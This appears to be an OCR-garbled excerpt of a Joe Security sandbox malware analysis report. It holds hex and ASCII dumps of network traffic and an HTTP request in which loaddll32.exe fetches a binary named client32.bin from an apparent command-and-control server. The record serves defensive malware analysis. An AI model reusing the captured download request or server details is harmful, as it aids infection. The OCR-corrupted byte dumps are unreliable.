e2 03 5¢ 3f 54 5¢c a2 73 0f 30 1a 81 cf 8b e6 ab €2 01 73 0f 1e 18 75 ad 97 26 cb 15 de 15 d6 48 cb 51 79 8f 3f 63 7b 8f f1
92 43 f0 4f 57 de 6¢c 4e ad b8 1f f6 47 b9 a2 d8 bc 92 4a 95 19 03 62 3c 8d 67 62 d1 80 db d2 7 06 37 5¢ 0Of 39 52 04 32
b5 99 20 Oe ee 13 87 8f ¢5 el 15 23 87 6f d4 a4 3f ae fc ef 14 81 fd fb 27 56 6a a0 df 16 76 77 a2 ca c9 af bc ab 64 2a 89
5d 62 98 bf bb 00 02 3f e2 68 b0 35 6a ef 7e

Data Ascii: .J1+4s5P$hAxr,\B:f=0g{c:4*{Tb\?EHT=.VY[)<{d?je\?T\sOsu&HQy?c{COWINGJIb<gh7\9R2 #0?'Vjywd*]b?h5j~
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kBytes
Timestamp transferred Direction Data

2021-10-20 13:12:06 UTC 497 IN Data Raw: 1b c5 c1 52 5d e8 1b 9f 71 ab Oe Ob 8a 06 41 dO 4e b2 cb 38 c5 78 ca 47 e5 5b 37 6b 00 6a a2 3b 43 82 Ob 40
3b 9b d6 a7 5¢ ba 97 be 1f e7 ee af 71 bb 24 48 79 84 77 57 bc ab 4e bb 7 97 e6 el 0d 53 9e fO 14 bf 31 5d 58 05 68 f2
a017 71 1c ad 45 3f ae c8 bc a5 aa 93 eb ba c8 a7 67 ac 5¢ eb d9 b1 07 eb 5f 17 c0 18 44 Oc f2 3d e5 81 b3 8a 93 07 8¢
a4 fa 37 bc 6f 4¢c al a0 6e 28 50 74 08 Of 4a 51 66 bb b7 9 2f 6e 3c 71 74 ff d7 8c 9e b5 56 56 9c a7 22 d5 d7 29 76 b5 2e
€9 c9 bb bc 74 89 5e 8b 63 a9 b2 5f 63 13 02 9c 34 83 60 13 85 42 2e a4 07 d3 64 e0 bf ec b0 74 b5 5d 30 8f 37 aa b8 eb
b6 97 ef d8 c1 41 32 84 02 bf ¢5 59 16 51 c4 c9 d5 e2 66 32 ef 4b ab 59 9e 90 a0 d8 db c6 fb 78 77 d3 df b2 65 22 a3 66
bb 19 18 43 48 26 2f b4 dc 7b 68 0d 6e 34 d8 2b d0 43
Data Ascii: RJgAN8XG[7kj;C@;\q$HywWNS1]XhqE?g\_D=70oLn(PtIQf/n<qtVV")v.t*c_c4 B.dtJ07A2YQf2KYxwe"fCH&
hn4+C

2021-10-20 13:12:06 UTC 513 IN Data Raw: 5f 7a 9f 35 09 63 55 53 bb 4b 41 13 f0 91 f8 0a 07 60 7b f7 55 83 b4 a5 17 86 71 27 6b 8d 18 72 f9 43 15 c2 61
8b 60 90 27 €9 c9 13 a2 a0 63 2f 4d 2a 03 5a 41 7f 9f ab 65 f3 69 ce 1b 35 41 db 34 ea eb d6 9d 9f 13 e8 da 77 03 6a d8
e8 da 4f Ob 2b 13 51 a4 96 a7 47 32 59 77 45 Oe b9 1f 3f 73 be 78 a0 8b a6 2d 08 2a 52 36 5b 9d ee c1 d3 49 99 23 d5 5b
a7 7583 e2 18 23 e6 f1 ea 0d 54 aa 2d c6 ee 57 34 e5 fb 67 f2 4b 03 93 72 06 90 b3 b6 3e 4b 0d a4 7f 44 69 e4 dc 3f 91
e0 72 6e 51 e4 59 b9 2d 88 6f 71 75 62 c4 aa 8 c6 f9 3f f1 7f cc f0 29 ea 89 7c 41 40 97 26 1c d1 5a 80 46 a4 7e fd 7b 04
Ob 75 65 21 25 9a 05 08 €6 80 cc 1a 48 15 cc ¢7 14 c2 d7 ab bb 00 83 16 00 d3 4e 21 b2 50 29 94 10 54 24 aa c8 23 81
b3 16 c0 fd de fd 17 01 de 7a 04 d1 0f d1 52 69 97 78
Data Ascii: _z5cUSKA{Uq'krCa"'c/M*ZAei5A4wjO+QG2YWE?sx-*R6[I#[u#T-W4gKr>KDi?rnQY-oqub?) A@&ZF~{ue!%
HN!IP)T$#zRix

2021-10-20 13:12:06 UTC 545 IN Data Raw: f6 dc b3 15 4c d1 14 b8 eb 59 b9 el 37 08 b7 e2 48 73 d3 5f 58 44 83 57 60 8a b5 ba 46 dd e5 13 b4 4b 9f fa
b9 3b 16 57 c6 74 ba b7 ca ae da 55 18 25 a9 61 16 1d 54 de c6 Oe 93 ad 72 af 8f 01 7f 9e e5 c2 30 ce 18 65 €9 8d 33 23
21 dd 90 99 be 5a 86 38 60 Oa 64 5e c0 3c 9b 98 4a c1 8a ae e6 Ob 47 ee Ob ba db c2 e3 cc 1e f2 82 cf 91 7a 59 09 fb 82
ef d3 2c 94 20 0d b3 b6 8e fe fd 12 23 d6 25 d3 1e 4c 5e f8 72 51 3b 5a 5¢ 95 64 a0 88 22 56 ba 5f d3 14 e8 00 66 ea fb 4f
45 b5 4e 9b 57 cf 89 c4 4e a6 c4 Of dd 04 48 55 f2 4d 05 24 24 c3 51 8a b9 48 c7 c6 d8 6 c9 af f1 de eb 65 ff 4b 63 c3 ea
a4 5d 7b 34 40 46 9d 9a 1f be f2 e5 78 ae 49 25 7f 4a 1c 95 15 02 ba 5f ad 1f 2e 56 d5 e7 19 6f de 86 4e d2 7b 7a de 6d 8
e7 dc 57 f5 23 81 91 3e ab 9d df bf 74 84 26 4b
Data Ascii: LY7Hs_XDW' FK;WtU%aTr0e3#!Z8 d"<JGzY, #%LrQ;Z\d"V_fOENWNHUM$$SQHeKc{4@Fx1%J_.V
ON{zmW#>t&K

2021-10-20 13:12:07 UTC 561 IN Data Raw: 20 bc 07 a2 70 Oc ba 65 28 80 61 ab 01 bl 81 37 31 09 a2 al 66 5c 85 4e 97 ed 5b 95 a8 9f 75 75 3d 68 61 73
3 9a 62 84 80 1b 83 41 4d a0 6a 3¢ 97 8b d3 01 45 8e 7d cf 25 76 f8 60 d6 85 04 29 da f2 2a 6a f3 5¢ 61 19 53 6a e0 54
b4 c8 d0 3d ec bl f6 a8 41 70 ee a4 81 45 ae ch e4 f8 8e 6b 38 06 eb 05 dd ba 7a af f5 35 93 6b 7d c7 2¢ 71 20 21 07 81
ac Ob 8d 58 e3 6b 10 c6 50 0f 13 ad a6 al 48 72 94 7d dd ce 69 16 50 6f 88 bb 55 6f 6¢ 31 8b ed e7 4b ea a0 cf 38 71 e4
Oc f9 89 79 21 01 d8 34 b9 1e 5e 00 38 24 6b ea be e2 59 48 44 b1 52 cd b1 4b f0 70 a9 f8 5e 59 be b8 eb c3 7f 82 9c 9a
ff 12 47 93 09 c4 42 ba 07 90 86 13 79 cd el 4f f3 2c cf e3 13 d4 63 f4 a7 c6 57 a3 a5 9b 80 40 43 ce 8d 9b eb 6e bd f6 db
92 35 b5 45 df 08 5a f2 df 84 f0 c2 9c 93 80 35 01 c8
Data Ascii: pe(a71f\N[uu=hasbAMj<E}%V")*\aSjT=ApEk8z5k},q XkPHr}iPoUol1K8qy!4"8$kYHDRKp"YGByO,cW@
Cn5EZ5

2021-10-20 13:12:07 UTC 577 IN Data Raw: 3b 57 ae 94 64 el a2 2f 21 c8 68 fe 83 €9 c0 cc a5 b4 7d ed a7 76 49 ee 30 ac 0d 6b 83 8d 7e 8c ee f8 05 a7
b8 0d 28 e8 9f 3a fb Ob 38 bd fc e6 f8 al f9 86 52 ed 92 14 e5 a5 bb 73 24 43 Oc 32 6b €9 a3 3e 89 f9 40 7e 69 90 4b b7
6a bf 9b fa 8c e4 ad 3a 20 45 36 5a 03 €0 ff 57 aa de 5d 27 4d 6d f8 a4 95 ae 49 02 c3 28 03 59 cd e3 fc €9 10 ac 2e 39
9c 64 22 3e 5a¢2 8157 11 29 68 Oc 61 51 2f dd c5 b5 77 8f 31 ac 3c 48 aa 79 78 74 63 5c da a6 49 bc d2 39 01 f1 Of bb
c2 f6 2a 5f 28 b1 0d 45 ca e9 dd 2c 23 ¢9 61 c2 45 e8 64 1d 29 cb b1 f7 70 c4 6d Ob 74 3d 1a 6f 20 e9 67 f2 6¢ 6a 67 15 27
d6 86 19 bf d1 31 31 15 ca c2 el 0d 22 6 cd 34 a4 87 47 81 23 7c 06 aa db 60 22 7b 5d 59 df 70 e6 8f 80 70 c9 d4 2e 2f
22 98 bb ad 88 cb b3 3b b0 11 09 ab 1a f3 75 16 9d 3b
Data Ascii: ;Wd/!h}vIOk~(:8Rs$C2k>@~iKj: E6ZW]'MmI(Y.9d">ZW)haQ/wil<Hyxtc\I9*_(E #aEd)pmt=o gljg'11"4G#|"{]Ypp
Jhu;

2021-10-20 13:12:07 UTC 625 IN Data Raw: f4 45 5b 10 5c 2d 4f 1a 90 46 e3 a0 a3 5d 2e e4 27 e6 81 b2 37 {3 fe f5 c0 cb e2 5a Oc 85 ¢8 56 8d 72 ef 1d 40
1f bd 5e 9f e2 2¢ 58 0d ce 81 8d 68 22 f1 3e be bl ce 56 8e 96 ed 7f cb 93 2f c6 da 16 3f 14 29 1e 69 9f ec 31 e0 23 9a 44
94 ef 4b d8 d0 c1 08 99 69 29 c8 2a 18 90 5d 29 c6 dO cf 66 66 b7 01 05 60 Ob 83 1a 6d f9 a0 1d a2 2d 4d a8 5e fc 38 c5
9e 05 82 09 de 00 4f b7 73 ea fb 72 8¢ cf 67 11 83 58 16 68 e5 c9 91 0f c6 ab 3c ca bl 6f a4 bf 65 €6 a9 54 f6 5¢ e5 52 58
a347c029a5023c267e718743dbe8e312c256f4e8cla278c510 6540 9f cb f9 f8 c9 72 03 b4 6e 95 83 be c1
6e 77 9d 2a 24 bb 73 49 27 db 0a 07 10 9c 66 19 ba ea 00 22 f3 19 53 e4 al e4 9f 83 db a8 a6 ea 07 ec 20 6f 87 4f c8 Oa
75 cc cc e6 2d fd 2d de 8a 1a 29 f7 1e 23 9e 84
Data Ascii: E[\-OF].'7ZVr@",Xh">V/?)i1#DKi)*])ff m-M"80srgXh<oe T\RXG)<&~qCVxe@rnnw*$sl'f'S oOu--)#

2021-10-20 13:12:07 UTC 657 IN Data Raw: b0 34 69 ae f2 ed 91 62 cf 4c f2 04 e4 81 46 be 40 88 33 ea 12 7f 56 54 38 6e db 40 6d 51 a2 77 ae 02 c6 38 fe
95 2b 17 d7 46 6d 99 ¢8 3d a7 24 23 10 19 04 2e 3f b8 3d 3c 61 b3 75 82 al db 73 32 a3 ba 8c 74 19 28 b4 61 32 ce 18
€2 a7 b8 29 64 f0 59 ea 32 6e 80 1c e4 08 95 08 11 60 54 47 4f 6e a4 5¢ 7e 63 6d 92 07 ¢8 8d 02 05 b3 5f 8e 4d dd 31 80
60 af 08 f7 83 2a 1c 25 60 dO 5 0d dc 79 5d 9d f6 32 fa 40 07 f0 0d a6 f3 a4 7c 6e 95 c0 37 Of b2 6 fd 4c a0 42 ea 19 f4 5¢
ae dd 23 9b f7 bb d5 6f Oc 63 d1 92 98 60 b3 c4 66 10 04 d9 51 49 7c 5e 2a 52 89 d4 a2 1a ee db f4 56 d6 53 ¢7 b3 05 c1
447114 45 8a b0 67 98 7d 76 d2 c0 €9 48 78 c3 e4 75 71 8b 47 b9 c0 41 8a 1c 15 d7 33 95 c1 46 41 8d 8f bd b8 6b 7c 5d
0b 00 3c b f4 92 c9 be 97 92 fc 29 98 dc 54 40 51
Data Ascii: 4ibLF@3VT8n@mQw8+Fm=$#.?=<aus2t(a2)dY2n TGOn\~cm_M1"*%'y]2@|n7LBX#oc fQI|**RVS
DQEgIVHXUGGA3FAK[I)T@Q

2021-10-20 13:12:07 UTC 673 IN Data Raw: a6 7e c3 d7 27 38 80 6d 49 5d ad 80 7b 43 c3 fc 9a 87 9f 53 3a b7 14 15 97 8a 69 87 72 bc 3c a7 88 le 34 ff
Oe d6 ba 8e 0f 5d 42 b0 9a d6 48 bf 3d 19 e5 d6 3e 7b 3b 5f 5e b8 5d 9f a4 ac b0 8e a3 bb €9 89 1e 98 f2 24 ce 4f d6 42
b4 09 c7 14 65 d4 28 df 25 8d fd 27 a5 fc 9a 08 3c 41 73 ca 7e 2¢ b9 b3 10 20 dO 50 ad 19 1f 23 a0 13 9c 55 b8 30 b4 ed
€306 18 78 7c 56 12 8e 4d dd 81 ab 9f 21 dc bl 8a le aa 8d 1b d5 4b e4 66 9c c8 fc 23 e2 16 65 0f 60 75 d1 21 8f 15 4e
4c 9f ef 63 22 84 4b 27 19 d0 65 1c ff cO 40 8f 76 82 c9 84 e6 Oc 61 f7 d3 32 8a 48 e6 f8 d6 8c 63 4a 68 b4 7b 5e bd f8 69
f6 a9 61 13 bf 1a 14 4d 37 04 c2 f8 f3 78 71 1f 87 78 1c ed ae 8f 85 45 7e a4 e4 9f 1d be 25 ea 73 b0 1c 81 9b ee 91 31 b2
97 03 2f 7c b8 3e 09 86 68 f0 fe Oc 26 42 85 4a la
Data Ascii: ~'8mI}{CS:ir<4]BH=>{;_/]$OBe(%'<As~, P#U0x|VM!Kf#e ulNLc"K'e@va2HcIh{"iaM7xqxE~%s1/|>h&BJ

2021-10-20 13:12:07 UTC 689 IN Data Raw: ad e0 d1 12 29 22 49 f9 a7 34 97 6f 16 37 a2 81 a9 13 85 99 88 2d b8 18 ed ea 94 02 b8 22 70 88 Oc 4e Oe 1b
0037 07 5d 64 37 f1 6a 4c 38 7a f2 3a 1b 46 ef 40 57 8¢ el 17 93 3c a3 4b 92 85 6a 10 e7 3f 00 44 98 2b c3 fa ee 7f 6b 37
fb da 91 35 cf 6a 80 66 60 87 9f 24 9d 96 42 04 c0 b3 9a 33 cc 61 ca 16 f3 ed e7 ea a7 3a 20 0f e8 34 ed 80 fe f9 c1 74 5d
e2 f9 4a 63 04 d3 49 a0 05 Oa f8 4a d1 0a 90 61 6a 78 cd d8 d0 bd e8 5d 41 37 ce 31 6a 1a 93 62 b6 40 78 c3 39 a0 e3 b5
1d 16 c7 a4 52 64 c1 al 86 59 17 c6 04 73 90 dc 81 c5 b8 85 {8 ¢8 87 c0 a5 92 a0 ed 29 c2 60 be 4c e0 e9 2e 7b 3f fd 5b
0f a7 d8 d8 2b 82 e3 60 b6 29 35 2b 35 eb de 6d d5 5b 09 af 1e 19 62 3c c6 34 06 bb 37 el 4c c6 d5 6a Oc e7 7e d4 bc 17
02 40 74 1f 2d 3c fc d2 07 5e 59 fc 92 9e d4 c9 59
Data Ascii: )"l407-"pN7]d7jL8z:F@W<K]?D+k75jf $B3a: 4t]JclJajx]A71jb@x9RdYs) L.{?[+")5+5m[b<47Lj~@t-<"YY
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kBytes
Timestamp transferred

2021-10-20 13:12:.07 UTC 721

2021-10-20 13:12:.07 UTC 737

2021-10-20 13:12:07 UTC 753

Session ID Source IP

13 192.168.2.5
kBytes

Timestamp transferred

2021-10-20 13:12:05 UTC 465

2021-10-20 13:12:06 UTC 529

2021-10-20 13:12:06 UTC 530

2021-10-20 13:12:07 UTC 593

2021-10-20 13:12:07 UTC 609

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49961

Direction

ouT

Data

Data Raw: 1d 15 22 2b 66 85 73 55 9e f6 5d a8 ee ce a7 ad e3 06 87 85 cc aa 6b f2 42 fd 2e 71 66 12 47 8e 4f 20 98 2 f2
2f c8 e4 86 04 6d 89 5a 47 41 b4 c5 b3 2c b5 72 11 ed ba 4a 11 d8 c5 78 7a 07 5e 3a 35 5b 79 1b ea fO cd 1c 51 ca d6 3f
7c2a833378eaf8al d2535601d8bcf070e3c756dl49 7c 69 88 45 fd 9e f8 75 51 b3 6b 86 60 ec 24 61 d5 01 53
6 dd 5f dO fc 4a c2 a4 a7 9a el 19 6e 91 30 ef 70 fc 6b 93 3c 90 c8 f6 19 fc a6 ce fc 4e 06 d6 48 8f d3 2d 9d 12 97 9d 2e
cb d0 Of ee c¢6 9¢c 88 05 10 81 d9 1b 82 d6 24 26 e5 f9 81 16 d7 c4 21 f4 8d 80 59 6e 21 72 al 30 24 dc 56 eb 1e c2 33 72
fe 43 94 d6 7 89 b8 f9 cO bd e3 2a fb 80 da Of al ff 1d 43 89 84 1a b5 ef f5 db bc €9 79 91 d6 80 6d 40 24 9f 96 b2 01 78
4a 45 bf 58 84 4b 5e 45 41 b6 5b 47 0d e4 3b e4

Data Ascii: "+fsU]kB.qfGO /mZGA,rdxz":5[yQ?|*3xSVpVI|iIEuQk $aS_Jn0pk<NH-.$&!Yn!r0$V3rC*Cym@$xJEXK EA[G;

Data Raw: 2e fb d7 0d cb 00 dd e6 64 4f 12 08 ca b5 65 15 ea dd 61 cf 59 a0 04 52 6d 3a 86 4a 5c 6f 3c 6¢ 28 15 af b6 dO
89 01 51 da 89 16 c7 3c 79 9b 77 68 ca cd 8c 91 5e f7 6f 51 58 f6 11 eb 66 c3 96 07 b5 3c 1f 26 a5 27 0a 26 66 13 20 26
le ed 1f 1e 48 82 7f 31 c3 3e 11 2e 36 52 61 d9 12 a3 8a 5b d8 ad 2e eb c4 f5 02 a5 3 57 48 23 3e €2 49 bc 1c 72 e8 1d
42 3484 0c e4 4b 29 19 0d 98 88 d1 f8 85 30 f5 bc 13 32 3e d8 76 cb 37 60 de ac 31 9d bc c1 16 d8 ea 49 2d d5 70 d8 18
86 la c3e6 5c b3 d0 1554 d4 a9 76 e7 43 90 50 a7 09 85 d6 8b 54 00 3d d6 c1 cd 33 €9 99 9b 62 8d Ob 61 48 63 fd 51
6859 24 9e e2 b2 37 dd ce 4a 4e ba 5e 02 84 db 7f 49 bd al c0 de 66 €3 69 a4 1f 2a Oc 67 99 85 fb 24 98 b2 ab 69 af 8e
8c 62 79 8c Oc 4b d4 5d 7a 2f 03 f4 f8 ac 01 36 31 ab 4a

Data Ascii: .dOeaYRm:J\o<l(Q<ywh"oQXf<&'&f &H1>.6Ra[.WH#>IrB4K)02>v7 1I-p\TvCPT=3baHcQhY$7IN/Ifi*g$i
byK]z/61J

Data Raw: 9a fa 62 32 5e b9 ab 85 b9 ab 50 c2 4a 8f c4 09 06 ae d5 bc 3a f3 8f fO af d1 30 Ob 9a cf 47 a5 60 5a 9d a6 b3
3 db df 96 f0 20 0d a5 af d2 f4 64 bd 31 5 be 5d f3 c¢5 fa 96 bb b3 a5 6d de cc Ob f5 bf 50 97 43 de 4f 1a 6d 46 32 20 ed 7C
40 f0 8e 52 f1 9b a7 17 20 51 75 c9 52 f0 df 6f 73 c6 07 1d 2a 25 36 cb 2a 6f 45 b8 56 ed 01 4a f2 36 7a e4 02 b6 48 2f 27
9c 06 4a 19 1f 1d 07 33 7c 4d d9 28 2c 7d 74 84 5¢c 11 7c 58 97 9d 6a ab dd eb d2 6¢ d9 06 63 cc 3e 4a da c1 53 67 47 fc
ef 52 94 5a 60 47 3b a9 3c 3b 31 a2 8e 39 86 a6 02 7d 89 e6 27 f4 64 49 f4 28 Oe 30 dc Oc 71 Oc 45 b0 da 9e ea 87 8e 11
ac 2c 22 ca 4e 8d 3f ae 3f 71 19 52 29 a0 82 9e 3b eb db c6 1e bf €9 4e bl 8b 87 d5 1f 14 a3 8a 84 41 34 77 05 fa 28 d8
dd ef 95 86 ec 0f 8d cb 65 Oc f0 72 {7 2a fa

Data Ascii: b2"PJ:0G"Z d1]JmPCOmF2 p@R QuR0s*%6*0EVJ6zH/J3|M(,}1\|Xjlc>ISgGRZ G;<;19}'dI(0gE,"N??gR)
;NA4w(er*

Destination IP Destination Port Process

31.220.111.98 443 C:\Windows\System32\loaddll32.exe

Data

GET /jdraw/MVdZIiuONzX64W/jGgxHg6bCBYiilTOGCL_2B/K5_2B40guOlrq_2F/deq5LFM1_2Fh_2B/A30hkj4LB
KS8Pnjdwl/9w5zD21KD/Gv4zCmpHpXW8kBPJ6yzJ/GKf4n1QcwBRAhkvF2a_/2BDpnBrAV7AZvGg_2FwtGG/RaDUbM
ye7jghn/NmN4Vf9F/bD7myyGQXfiKlvl_2BoXKI7/VLTDzeWG/dZ.crw HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)

Host: aaaa.bar

Connection: Keep-Alive

Cache-Control: no-cache

Cookie: lang=en; PHPSESSID=Isnqfh754hfkcfkt83tqpgmdf3

HTTP/1.1 200 OK

Server: nginx/1.10.3 (Ubuntu)

Date: Wed, 20 Oct 2021 13:12:05 GMT
Content-Type: application/zip
Content-Length: 227913

Connection: close

X-Powered-By: PHP/5.4.16

Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: public

Pragma: no-cache
Content-Transfer-Encoding: Binary
Content-Disposition: attachment; filename=client32.bin

Data Raw: 7a d8 e7 €8 5a b1 41 33 b2 bc 98 al 2d 68 13 0f 97 e9 11 38 74 e6 87 20 80 55 24 d2 32 ca b0 b5 fb ef 70 18
d4 d5 42 17 72 8e d5 2f 06 81 8a 8a 11 9a ce 93 c7 7d 46 ec 89 6f b9 08 6e 3 e9 5b bb 4a 79 2d ee 4e f7 bd 61 1f 44 cd
0a f7 36 20 5a 91 04 8e c1 33 8f f7 b1 d2 4e a6 Oc 00 cd 68 f5 3a 14 99 e6 2b 34 95 d5 f2 e2 94 d4 Oc 25 ae 18 03 78 09
8ef0 c5 6d 1b ab 49 c1 ad 79 81 48 e4 18 22 57 b8 52 0d 2c 28 17 6f a0 8b 55 5f 4b b3 ff 20 9e 5b 8 e2 dd 1a 3f da c4 ce
aa 67 12 2e 97 13 2a f0 f8 bl ff f1 €6 74 f3 a8 1c c9 9e ed 04 cf 21 b7 dc 2¢c 23 07 33 02 1b 7 d2 cc 06 e3 d7 20 04 e5 45
b7 db 43 76 2e c6 52 d0 4e d3 fe f7 73 59 44 33 b9 94 7e 52 1a 0f 88 95 66 09 Ob 79 84 05 4d 1f b8 a4 eb 7b 33 8a 20 c9
4a 1a 36 2a 02 4b 45 ec 8c 07 04 f7 14 dO 74 ce ec

Data Ascii: zZA3-h8t U$2pBr/}Fon[Jy-NaD6 Z3Nh:+4%xmlyH"WR,(oU_K [?g.*t!#3 ECv.RNsYD3~RfyM{3 J6*KEt

Data Raw: 2e 4a 31 ca f3 2b be 89 95 34 73 d7 cb Oc 35 50 c4 f1 24 68 8b 88 fc 3 a7 a4 41 86 f8 78 72 ba 2¢ 90 c1 e3 b3
fd cc d2 05 5¢ b3 e9 df 42 3a 66 1d 3d 9c 30 db dc 67 7b ab 0a 63 9e 99 3a €3 34 02 9b e3 c3 2a 8e 7b 0Oa Oe d6 b3 13 54
08 d7 62 5¢ c8 8a f5 3f 45 1a 48 f9 ef 9c 14 54 a6 b4 3d 2e 56 59 e6 16 5b 29 3¢ 7b 64 d9 3f 07 fa 80 Oa 6a b7 ba 82 65 f6
€2 03 5¢ 3f 54 5¢ a2 73 0f 30 1a 81 cf 8b e6 ab e2 01 73 0f 1e 18 75 ad 97 26 cb 15 de 15 d6 48 ch 51 79 8f 3f 63 7b 8f f1
92 43 f0 4f 57 de 6¢ 4e ad b8 1f f6 47 b9 a2 d8 bc 92 4a 95 19 03 62 3c 8d 67 62 d1 80 db d2 7 06 37 5¢ Of 39 52 04 32
b5 99 20 Oe ee 13 87 8f ¢5 el 15 23 87 6f d4 a4 3f ae fc ef 14 81 fd fb 27 56 6a a0 df 16 76 77 a2 ca c9 af bc ab 64 2a 89
5d 62 98 bf bb 00 02 3f e2 68 b0 35 6a ef 7e

Data Ascii: .J1+4s5P$hAxr,\B:f=0g{c:4*{Tb\?EHT=.VY[)<{d?je\?T\sOsu&HQy?c{COWINGJIb<gh7\9R2 #0?'Vjvwd*]b?h5j~

Data Raw: 1b ¢5 c¢1 52 5d e8 1b 9f 71 ab Oe Ob 8a 06 41 dO 4e b2 cb 38 c5 78 ca 47 e5 5b 37 6b 00 6a a2 3b 43 82 Ob 40
3b 9b d6 a7 5¢ ba 97 be 1f e7 ee af 71 bb 24 48 79 84 77 57 bc ab 4e bb 7 97 e6 el 0d 53 9e fO 14 bf 31 5d 58 05 68 f2
a017 71 1c ad 45 3f ae c8 bc a5 aa 93 eb ba c8 a7 67 ac 5¢ eb d9 b1 07 eb 5f 17 c0 18 44 Oc f2 3d e5 81 b3 8a 93 07 8¢
a4 fa 37 bc 6f 4c al a0 6e 28 50 74 08 0f 4a 51 66 bb b7 f9 2f 6e 3c 71 74 ff d7 8c 9e b5 56 56 9c a7 22 d5 d7 29 76 b5 2e
€9 c9 bb bc 74 89 5e 8b 63 a9 b2 5f 63 13 02 9c 34 83 60 13 85 42 2e a4 07 d3 64 e0 bf ec b0 74 b5 5d 30 8f 37 aa b8 eb
b6 97 ef d8 c1 41 32 84 02 bf ¢5 59 16 51 c4 c9 d5 e2 66 32 ef 4b ab 59 9e 90 a0 d8 db c6 fb 78 77 d3 df b2 65 22 a3 66
bb 19 18 43 48 26 2f b4 dc 7b 68 0d 6e 34 d8 2b d0 43

Data Ascii: RJgJAN8XG[7kj;C@;\q$HywWNS1]XhgE?g\_D=70Ln(PtJQf/n<qtVV")v.t*c_c4 B.dt]07A2Y Qf2KYxwe"fCH&
Khn4+C
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kBytes
Timestamp transferred Direction Data

2021-10-20 13:12:07 UTC 641 IN Data Raw: 5f 7a 9f 35 09 63 55 53 bb 4b 41 13 f0 91 f8 0a 07 60 7b f7 55 83 b4 a5 17 86 71 27 6b 8d 18 72 f9 43 15 c2 61
8b 60 90 27 €9 c9 13 a2 a0 63 2f 4d 2a 03 5a 41 7f 9f ab 65 f3 69 ce 1b 35 41 db 34 ea eb d6 9d 9f 13 e8 da 77 03 6a d8
e8 da 4f Ob 2b 13 51 a4 96 a7 47 32 59 77 45 Oe b9 1f 3f 73 be 78 a0 8b a6 2d 08 2a 52 36 5b 9d ee c1 d3 49 99 23 d5 5b
a7 7583 e2 18 23 e6 f1 ea 0d 54 aa 2d c6 ee 57 34 e5 fb 67 f2 4b 03 93 72 06 90 b3 b6 3e 4b 0d a4 7f 44 69 e4 dc 3f 91
e0 72 6e 51 e4 59 b9 2d 88 6f 71 75 62 c4 aa 8 c6 f9 3f f1 7f cc f0 29 ea 89 7c 41 40 97 26 1c d1 5a 80 46 a4 7e fd 7b 04
Ob 75 65 21 25 9a 05 08 €6 80 cc 1a 48 15 cc c7 14 c2 d7 ab bb 00 83 16 00 d3 4e 21 b2 50 29 94 10 54 24 aa c8 23 81
b3 16 c0 fd de fd 17 01 de 7a 04 d1 0f d1 52 69 97 78
Data Ascii: _z5cUSKA{Uqg'krCac/M*ZAei5A4wjO+QG2YWE?sx-*R6[I#[u#T-W4gKr>KDi?rnQY-oqub?)|A@&ZF~{ue!%
HNIP)T$#zRix

2021-10-20 13:12:07 UTC 705 IN Data Raw: f6 dc b3 15 4c d1 14 b8 eb 59 b9 el 37 08 b7 e2 48 73 d3 5f 58 44 83 57 60 8a b5 ba 46 dd e5 13 b4 4b 9f fa
b9 3b 16 57 c6 74 ba b7 ca ae da 55 18 25 a9 61 16 1d 54 de c6 Oe 93 ad 72 af 8f 01 7f 9e e5 c2 30 ce 18 65 €9 8d 33 23
21 dd 90 99 be 5a 86 38 60 0Oa 64 5e c0 3c 9b 98 4a c1 8a ae e6 Ob 47 ee Ob ba db c2 e3 cc 1e f2 82 cf 91 7a 59 09 fb 82
ef d3 2c 94 20 0d b3 b6 8e fe fd 12 23 d6 25 d3 1e 4c 5e f8 72 51 3b 5a 5¢ 95 64 a0 88 22 56 ba 5f d3 14 e8 00 66 ea fb 4f
45 b5 4e 9b 57 cf 89 c4 4e a6 c4 Of dd 04 48 55 f2 4d 05 24 24 c3 51 8a b9 48 c7 c6 d8 6 c9 af f1 de eb 65 ff 4b 63 c3 ea
a4 5d 7b 34 40 46 9d 9a 1f be f2 e5 78 ae 49 25 7f 4a 1c 95 15 02 ba 5f ad 1f 2e 56 d5 e7 19 6f de 86 4e d2 7b 7a de 6d 8
e7 dc 57 f5 23 81 91 3e ab 9d df bf 74 84 26 4b
Data Ascii: LY7Hs_XDW' FK;WtU%aTr0e3#!Z8 d"<JGzY, #%LrQ;Z\d"V_fOENWNHUM$$SQHeKc{4@Fx1%J_.V
ON{zmW#>t&K

2021-10-20 13:12:08 UTC 768 IN Data Raw: 20 bc 07 a2 70 Oc ba 65 28 80 61 ab 01 b1 81 37 31 09 a2 al 66 5¢ 85 4e 97 ed 5b 95 a8 9f 75 75 3d 68 61 73
f3 9a 62 84 80 1b 83 41 4d a0 6a 3¢ 97 8b d3 01 45 8e 7d cf 25 76 f8 60 d6 85 04 29 da f2 2a 6a f3 5¢ 61 19 53 6a €0 54
b4 ¢8 d0 3d ec bl f6 a8 41 70 ee a4 81 45 ae cb e4 {8 8e 6b 38 06 eb 05 dd ba 7a af f5 35 93 6b 7d c7 2c 71 20 21 07 81
ac Ob 8d 58 e3 6b 10 c¢6 50 0f 13 ad a6 al 48 72 94 7d dd ce 69 16 50 6f 88 bb 55 6f 6¢ 31 8b ed €7 4b ea a0 cf 38 71 e4
Oc f9 89 79 21 01 d8 34 b9 1e 5e 00 38 24 6b ea be e2 59 48 44 b1 52 cd b1 4b f0 70 a9 f8 5e 59 be b8 eb c3 7f 82 9c 9a
ff 12 47 93 09 c4 42 ba 07 90 86 13 79 cd el 4f f3 2c cf €3 13 d4 63 f4 a7 c6 57 a3 a5 9b 80 40 43 ce 8d 9b eb 6e bd 6 db
92 35 b5 45 df 08 5a f2 df 84 f0 c2 9¢c 93 80 35 01 c8
Data Ascii: pe(a71f\N[uu=hasbAM|<E}%v )*\aSjT=ApEk8z5k},q IXkPHTr}iPoUol1K8qy!4"8%kYHDRKp"YGByO,c W@
Cn5EZ5

2021-10-20 13:12:08 UTC 784 IN Data Raw: 3b 57 ae 94 64 el a2 2f 21 c8 68 fe 83 €9 c0 cc a5 b4 7d ed a7 76 49 ee 30 ac 0d 6b 83 8d 7e 8c ee f8 05 a7
b8 0d 28 e8 9f 3a fb Ob 38 bd fc e6 8 al f9 86 52 ed 92 14 e5 a5 bb 73 24 43 Oc 32 6b €9 a3 3e 89 f9 40 7e 69 90 4b b7
